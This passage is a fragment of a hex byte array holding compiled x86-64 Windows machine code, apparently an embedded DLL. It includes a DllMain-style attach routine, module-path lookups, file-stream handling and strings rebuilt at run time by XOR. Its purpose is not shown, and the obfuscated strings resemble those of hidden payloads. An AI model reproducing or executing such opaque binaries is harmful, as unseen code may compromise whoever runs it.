0x85, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x95, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0xC0, 0x00, 0x00, 0x00, 0xE8, 0x8E, 0xF3, 0xFF, 0xFF, 0x90, 0x48, 0x8B, 0x9D, 0xC8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0x48, 0x8B, 0x8D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xF8, 0x04, 0x0F, 0x82, 0xC5, 0x01, 0x00, 0x00, 0x8B, 0x05, 0x69, 0x6C, 0x00, 0x00, 0x3B, 0x01, 0x0F, 0x94, 0xC0, 0x84, 0xC0, 0x0F, 0x84, 0xB2, 0x01, 0x00, 0x00, 0x4C, 0x8D, 0x79, 0x04, 0x45, 0x33, 0xF6, 0x4C, 0x89, 0x37, 0x4C, 0x89, 0x77, 0x08, 0x4C, 0x89, 0x77, 0x10, 0x49, 0x2B, 0xDF, 0x0F, 0x84, 0x82, 0x00, 0x00, 0x00, 0x48, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7F, 0x48, 0x3B, 0xD8, 0x0F, 0x87, 0xB5, 0x03, 0x00, 0x00, 0x48, 0x81, 0xFB, 0x00, 0x10, 0x00, 0x00, 0x72, 0x2C, 0x48, 0x8D, 0x4B, 0x27, 0x48, 0x3B, 0xCB, 0x0F, 0x86, 0x93, 0x03, 0x00, 0x00, 0xE8, 0x93, 0x40, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x0E, 0x4C, 0x8D, 0x70, 0x27, 0x49, 0x83, 0xE6, 0xE0, 0x49, 0x89, 0x46, 0xF8, 0xEB, 0x12, 0xFF, 0x15, 0xCA, 0x67, 0x00, 0x00, 0xCC, 0x48, 0x8B, 0xCB, 0xE8, 0x71, 0x40, 0x00, 0x00, 0x4C, 0x8B, 0xF0, 0x4C, 0x89, 0x37, 0x4C, 0x89, 0x77, 0x08, 0x49, 0x8D, 0x04, 0x1E, 0x48, 0x89, 0x47, 0x10, 0x4C, 0x8B, 0xC3, 0x49, 0x8B, 0xD7, 0x49, 0x8B, 0xCE, 0xE8, 0xFA, 0x4E, 0x00, 0x00, 0x4A, 0x8D, 0x04, 0x33, 0x48, 0x89, 0x47, 0x08, 0x48, 0x8B, 0x8D, 0xC0, 0x00, 0x00, 0x00, 0x45, 0x33, 0xF6, 0x48, 0x85, 0xC9, 0x74, 0x46, 0x48, 0x8B, 0x95, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x2B, 0xD1, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x1E, 0x01, 0x00, 0x00, 0xE8, 0x4A, 0x40, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0xF3, 0x0F, 0x7F, 0x85, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x89, 0xB5, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x95, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x35, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8D, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x21, 0x01, 0x00, 0x00, 0xE8, 0xF7, 0x3F, 0x00, 0x00, 0x90, 0x49, 0x83, 0xFD, 0x0F, 0x76, 0x32, 0x49, 0x8D, 0x55, 0x01, 0x48, 0x8B, 0xC6, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x76, 0xF8, 0x48, 0x2B, 0xC6, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0xDA, 0xFC, 0xFF, 0xFF, 0x48, 0x8B, 0xCE, 0xE8, 0xBF, 0x3F, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x55, 0x30, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x31, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x4D, 0x18, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0x79, 0x01, 0x00, 0x00, 0xE8, 0x83, 0x3F, 0x00, 0x00, 0x4C, 0x89, 0x75, 0x28, 0x48, 0xC7, 0x45, 0x30, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x45, 0x18, 0x00, 0xE9, 0x4D, 0xF9, 0xFF, 0xFF, 0x33, 0xDB, 0x48, 0x89, 0x1F, 0x48, 0x89, 0x5F, 0x08, 0x48, 0x89, 0x5F, 0x10, 0x48, 0x85, 0xC9, 0x74, 0x49, 0x48, 0x8B, 0x95, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x2B, 0xD1, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0x37, 0x66, 0x00, 0x00, 0xCC, 0xE8, 0x25, 0x3F, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0xF3, 0x0F, 0x7F, 0x85, 0xC0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x9D, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x95, 0xB8, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x38, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8D, 0xA0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0xE1, 0x65, 0x00, 0x00, 0xCC, 0xE8, 0xCF, 0x3E, 0x00, 0x00, 0x90, 0x49, 0x83, 0xFD, 0x0F, 0x76, 0x32, 0x49, 0x8D, 0x55, 0x01, 0x48, 0x8B, 0xC6, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x19, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x76, 0xF8, 0x48, 0x2B, 0xC6, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x87, 0xB2, 0xFB, 0xFF, 0xFF, 0x48, 0x8B, 0xCE, 0xE8, 0x97, 0x3E, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x55, 0x30, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x2D, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x4D, 0x18, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x15, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x77, 0x55, 0xE8, 0x5F, 0x3E, 0x00, 0x00, 0x48, 0x89, 0x5D, 0x28, 0x48, 0xC7, 0x45, 0x30, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x45, 0x18, 0x00, 0xE9, 0x29, 0xF8, 0xFF, 0xFF, 0x48, 0x8B, 0xCE, 0xE8, 0x42, 0x3E, 0x00, 0x00, 0x4C, 0x8B, 0x7D, 0x30, 0x4C, 0x8B, 0x75, 0x18, 0x49, 0x83, 0xFF, 0x0F, 0x76, 0x34, 0x49, 0x8D, 0x57, 0x01, 0x49, 0x8B, 0xC6, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x4D, 0x8B, 0x76, 0xF8, 0x49, 0x2B, 0xC6, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0x15, 0x65, 0x00, 0x00, 0xCC, 0x49, 0x8B, 0xCE, 0xE8, 0x00, 0x3E, 0x00, 0x00, 0x48, 0x89, 0x5D, 0x28, 0x48, 0xC7, 0x45, 0x30, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x45, 0x18, 0x00, 0x48, 0x8D, 0x8D, 0x00, 0x01, 0x00, 0x00, 0xE8, 0xB0, 0x00, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x55, 0x78, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x34, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x4D, 0x60, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0xB7, 0x64, 0x00, 0x00, 0xCC, 0xE8, 0xA5, 0x3D, 0x00, 0x00, 0x66, 0x0F, 0x6F, 0x05, 0x99, 0x69, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0x45, 0x70, 0xC6, 0x45, 0x60, 0x00, 0x48, 0x8B, 0x95, 0x98, 0x00, 0x00, 0x00, 0x48, 0x83, 0xFA, 0x0F, 0x0F, 0x86, 0xB6, 0xF5, 0xFF, 0xFF, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x8D, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x0F, 0x82, 0x97, 0xF5, 0xFF, 0xFF, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x0F, 0x86, 0x7E, 0xF5, 0xFF, 0xFF, 0xFF, 0x15, 0x56, 0x64, 0x00, 0x00, 0x90, 0xE8, 0x50, 0xE2, 0xFF, 0xFF, 0x90, 0xE8, 0xDA, 0x2B, 0x00, 0x00, 0x90, 0xE8, 0x74, 0x39, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0xB9, 0xB0, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x01, 0x48, 0x63, 0x50, 0x04, 0x48, 0x8D, 0x05, 0x09, 0x69, 0x00, 0x00, 0x48, 0x89, 0x84, 0x3A, 0x50, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x01, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x50, 0xFF, 0xFF, 0xFF, 0x89, 0x94, 0x39, 0x4C, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x9F, 0x60, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x05, 0xBF, 0x66, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x83, 0xBB, 0x80, 0x00, 0x00, 0x00, 0x00, 0x74, 0x2F, 0x48, 0x8B, 0x4B, 0x18, 0x48, 0x8D, 0x43, 0x70, 0x48, 0x39, 0x01, 0x75, 0x22, 0x4C, 0x8B, 0x83, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x93, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x11, 0x48, 0x8B, 0x43, 0x38, 0x48, 0x89, 0x10, 0x44, 0x2B, 0xC2, 0x48, 0x8B, 0x43, 0x50, 0x44, 0x89, 0x00, 0x80, 0x7B, 0x7C, 0x00, 0x74, 0x08, 0x48, 0x8B, 0xCB, 0xE8, 0xAD, 0x27, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xDC, 0x61, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x8F, 0x68, 0xFF, 0xFF, 0xFF, 0xFF, 0x15, 0x3E, 0x62, 0x00, 0x00, 0x48, 0x8B, 0xCF, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0x48, 0xFF, 0x25, 0x0A, 0x62, 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x6C, 0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x48, 0x81, 0xEC, 0xA0, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x92, 0xA0, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x84, 0x24, 0x90, 0x01, 0x00, 0x00, 0x48, 0x8B, 0xF1, 0x48, 0x89, 0x4C, 0x24, 0x30, 0x33, 0xED, 0x48, 0x8D, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0xB9, 0x04, 0x01, 0x00, 0x00, 0xFF, 0x15, 0x32, 0x60, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x84, 0x6B, 0x01, 0x00, 0x00, 0x48, 0xB8, 0xA6, 0x31, 0xA3, 0x3D, 0x45, 0x05, 0x78, 0x7C, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x40, 0x48, 0xB8, 0x1E, 0xBA, 0x1E, 0xD2, 0x60, 0x34, 0xFF, 0x0B, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x89, 0x44, 0x24, 0x48, 0x66, 0x0F, 0x6F, 0x4C, 0x24, 0x40, 0xF3, 0x0F, 0x6F, 0x05, 0x2A, 0x67, 0x00, 0x00, 0x0F, 0x57, 0xC8, 0x66, 0x0F, 0x7F, 0x4C, 0x24, 0x40, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x44, 0x24, 0x50, 0x0F, 0x57, 0xC9, 0xF3, 0x0F, 0x7F, 0x4C, 0x24, 0x60, 0x48, 0x8D, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC7, 0xFF, 0xFF, 0xFF, 0xFF, 0x4C, 0x8B, 0xC7, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x49, 0xFF, 0xC0, 0x42, 0x38, 0x2C, 0x00, 0x75, 0xF7, 0x48, 0x8D, 0x94, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xE8, 0x95, 0x2D, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x44, 0x24, 0x40, 0x48, 0xFF, 0xC7, 0x80, 0x3C, 0x38, 0x00, 0x75, 0xF7, 0x48, 0x8B, 0x4C, 0x24, 0x60, 0x48, 0x8B, 0x54, 0x24, 0x68, 0x48, 0x8B, 0xC2, 0x48, 0x2B, 0xC1, 0x48, 0x3B, 0xF8, 0x77, 0x36, 0x48, 0x8D, 0x04, 0x0F, 0x48, 0x89, 0x44, 0x24, 0x60, 0x48, 0x8D, 0x5C, 0x24, 0x50, 0x48, 0x83, 0xFA, 0x0F, 0x48, 0x0F, 0x47, 0x5C, 0x24, 0x50, 0x48, 0x03, 0xD9, 0x4C, 0x8B, 0xC7, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8B, 0xCB, 0xE8, 0xA9, 0x49, 0x00, 0x00, 0xC6, 0x04, 0x3B, 0x00, 0x48, 0x8D, 0x44, 0x24, 0x50, 0xEB, 0x17, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x4C, 0x8D, 0x4C, 0x24, 0x40, 0x48, 0x8B, 0xD7, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xE8, 0x94, 0x2F, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x06, 0x48, 0x89, 0x6E, 0x10, 0x48, 0x89, 0x6E, 0x18, 0x0F, 0x10, 0x00, 0x0F, 0x11, 0x06, 0x0F, 0x10, 0x48, 0x10, 0x0F, 0x11, 0x4E, 0x10, 0x48, 0x89, 0x68, 0x10, 0x48, 0xC7, 0x40, 0x18, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x00, 0x00, 0x48, 0x8B, 0x54, 0x24, 0x68, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x57, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x4C, 0x24, 0x50, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0xCF, 0x61, 0x00, 0x00, 0xCC, 0xE8, 0xBD, 0x3A, 0x00, 0x00, 0xEB, 0x20, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x06, 0x48, 0x89, 0x6E, 0x10, 0x48, 0x89, 0x6E, 0x18, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x15, 0xE0, 0x63, 0x00, 0x00, 0x48, 0x8B, 0xCE, 0xE8, 0x97, 0x2C, 0x00, 0x00, 0x48, 0x8B, 0xC6, 0x48, 0x8B, 0x8C, 0x24, 0x90, 0x01, 0x00, 0x00, 0x48, 0x33, 0xCC, 0xE8, 0x84, 0x37, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0xA0, 0x01, 0x00, 0x00, 0x49, 0x8B, 0x5B, 0x18, 0x49, 0x8B, 0x6B, 0x20, 0x49, 0x8B, 0x73, 0x28, 0x49, 0x8B, 0xE3, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x4C, 0x89, 0x74, 0x24, 0x20, 0x55, 0x48, 0x8D, 0x6C, 0x24, 0x90, 0x48, 0x81, 0xEC, 0x70, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x7D, 0x9E, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0x60, 0x48, 0x8B, 0xF9, 0xC7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0x40, 0xE8, 0xB2, 0xFD, 0xFF, 0xFF, 0x90, 0x48, 0x83, 0x7D, 0x50, 0x00, 0x0F, 0x84, 0x8C, 0x01, 0x00, 0x00, 0x33, 0xD2, 0x41, 0xB8, 0x08, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x30, 0xE8, 0x02, 0x47, 0x00, 0x00, 0x48, 0x8D, 0x5D, 0x40, 0x48, 0x83, 0x7D, 0x58, 0x0F, 0x48, 0x0F, 0x47, 0x5D, 0x40, 0x48, 0x8D, 0x05, 0x7F, 0x64, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x4D, 0xD8, 0xFF, 0x15, 0x18, 0x5F, 0x00, 0x00, 0x90, 0xC7, 0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x45, 0x33, 0xC0, 0x48, 0x8D, 0x54, 0x24, 0x38, 0x48, 0x8D, 0x4C, 0x24, 0x30, 0xFF, 0x15, 0x01, 0x5F, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x63, 0x48, 0x04, 0x4C, 0x8D, 0x35, 0x08, 0x64, 0x00, 0x00, 0x4C, 0x89, 0x74, 0x0C, 0x30, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x58, 0xFF, 0xFF, 0xFF, 0x89, 0x54, 0x0C, 0x2C, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0xFF, 0x15, 0x7D, 0x5E, 0x00, 0x00, 0x48, 0x8D, 0x05, 0x5E, 0x63, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x38, 0xC6, 0x45, 0xB4, 0x00, 0xC6, 0x45, 0xA9, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0xFF, 0x15, 0x66, 0x5E, 0x00, 0x00, 0x48, 0xC7, 0x45, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x77, 0xA8, 0x00, 0x00, 0x48, 0x89, 0x45, 0xAC, 0x48, 0xC7, 0x45, 0xA0, 0x00, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x12, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0xE8, 0x40, 0x25, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x75, 0x20, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x63, 0x48, 0x04, 0x48, 0x8D, 0x44, 0x24, 0x30, 0x48, 0x03, 0xC8, 0x45, 0x33, 0xC0, 0xBA, 0x02, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x4C, 0x5E, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x63, 0x48, 0x04, 0x4C, 0x89, 0x74, 0x0C, 0x30, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x58, 0xFF, 0xFF, 0xFF, 0x89, 0x54, 0x0C, 0x2C, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x63, 0x48, 0x04, 0x48, 0x8D, 0x44, 0x24, 0x30, 0x48, 0x03, 0xC8, 0xFF, 0x15, 0xAB, 0x5E, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x4A, 0x4C, 0x8B, 0x47, 0x10, 0x48, 0x83, 0x7F, 0x18, 0x0F, 0x76, 0x03, 0x48, 0x8B, 0x3F, 0x48, 0x8B, 0xD7, 0x48, 0x8D, 0x4C, 0x24, 0x30, 0xE8, 0x54, 0x31, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x38, 0xE8, 0xCA, 0x23, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x75, 0x20, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x63, 0x48, 0x04, 0x48, 0x8D, 0x44, 0x24, 0x30, 0x48, 0x03, 0xC8, 0x45, 0x33, 0xC0, 0xBA, 0x02, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xC6, 0x5D, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x4C, 0x24, 0x30, 0xE8, 0x6B, 0x00, 0x00, 0x00, 0x90, 0x48, 0x8B, 0x55, 0x58, 0x48, 0x83, 0xFA, 0x0F, 0x76, 0x34, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x4D, 0x40, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x1C, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x07, 0xFF, 0x15, 0x62, 0x5F, 0x00, 0x00, 0xCC, 0xE8, 0x50, 0x38, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0x60, 0x48, 0x33, 0xCC, 0xE8, 0x40, 0x35, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0x70, 0x01, 0x00, 0x00, 0x49, 0x8B, 0x5B, 0x18, 0x49, 0x8B, 0x7B, 0x20, 0x4D, 0x8B, 0x73, 0x28, 0x49, 0x8B, 0xE3, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8D, 0xB9, 0xA8, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x01, 0x48, 0x63, 0x50, 0x04, 0x48, 0x8D, 0x05, 0x59, 0x62, 0x00, 0x00, 0x48, 0x89, 0x84, 0x3A, 0x58, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x01, 0x48, 0x63, 0x48, 0x04, 0x8D, 0x91, 0x58, 0xFF, 0xFF, 0xFF, 0x89, 0x94, 0x39, 0x54, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x9F, 0x60, 0xFF, 0xFF, 0xFF, 0x48, 0x8D, 0x05, 0xAF, 0x61, 0x00, 0x00, 0x48, 0x89, 0x03, 0x48, 0x83, 0xBB, 0x80, 0x00, 0x00, 0x00, 0x00, 0x74, 0x2F, 0x48, 0x8B, 0x4B, 0x18, 0x48, 0x8D, 0x43, 0x70, 0x48, 0x39, 0x01, 0x75, 0x22, 0x4C, 0x8B, 0x83, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x93, 0x88, 0x00, 0x00, 0x00, 0x48, 0x89, 0x11, 0x48, 0x8B, 0x43, 0x38, 0x48, 0x89, 0x10, 0x44, 0x2B, 0xC2, 0x48, 0x8B, 0x43, 0x50, 0x44, 0x89, 0x00, 0x80, 0x7B, 0x7C, 0x00, 0x74, 0x08, 0x48, 0x8B, 0xCB, 0xE8, 0x9D, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xCB, 0xFF, 0x15, 0xCC, 0x5C, 0x00, 0x00, 0x90, 0x48, 0x8D, 0x8F, 0x68, 0xFF, 0xFF, 0xFF, 0xFF, 0x15, 0x16, 0x5D, 0x00, 0x00, 0x48, 0x8B, 0xCF, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0x48, 0xFF, 0x25, 0xFA, 0x5C, 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57, 0x48, 0x81, 0xEC, 0xB0, 0x03, 0x00, 0x00, 0x0F, 0x29, 0xB4, 0x24, 0xA0, 0x03, 0x00, 0x00, 0x48, 0x8B, 0x05, 0x7F, 0x9B, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x84, 0x24, 0x98, 0x03, 0x00, 0x00, 0x33, 0xF6, 0x89, 0x74, 0x24, 0x40, 0x83, 0xFA, 0x01, 0x0F, 0x85, 0x2F, 0x0B, 0x00, 0x00, 0xFF, 0x15, 0x2F, 0x5B, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x84, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x66, 0x0F, 0x6F, 0x35, 0x0C, 0x63, 0x00, 0x00, 0xF3, 0x0F, 0x7F, 0xB4, 0x24, 0xB0, 0x00, 0x00, 0x00, 0x40, 0x88, 0xB4, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x41, 0xB8, 0x04, 0x01, 0x00, 0x00, 0x48, 0x8D, 0x94, 0x24, 0x80, 0x02, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0xE5, 0x5A, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x84, 0x01, 0x02, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x84, 0x24, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0x98, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x84, 0x24, 0x80, 0x02, 0x00, 0x00, 0x49, 0xC7, 0xC0, 0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x1F, 0x00, 0x49, 0xFF, 0xC0, 0x42, 0x80, 0x3C, 0x00, 0x00, 0x75, 0xF6, 0x48, 0x8D, 0x94, 0x24, 0x80, 0x02, 0x00, 0x00, 0x48, 0x8D, 0x8C, 0x24, 0x80, 0x00, 0x00, 0x00, 0xE8, 0x91, 0x28, 0x00, 0x00, 0x90, 0x48, 0xB8, 0xA8, 0x30, 0xBE, 0x59, 0x22, 0x60, 0x56, 0x19, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8B, 0x44, 0x24, 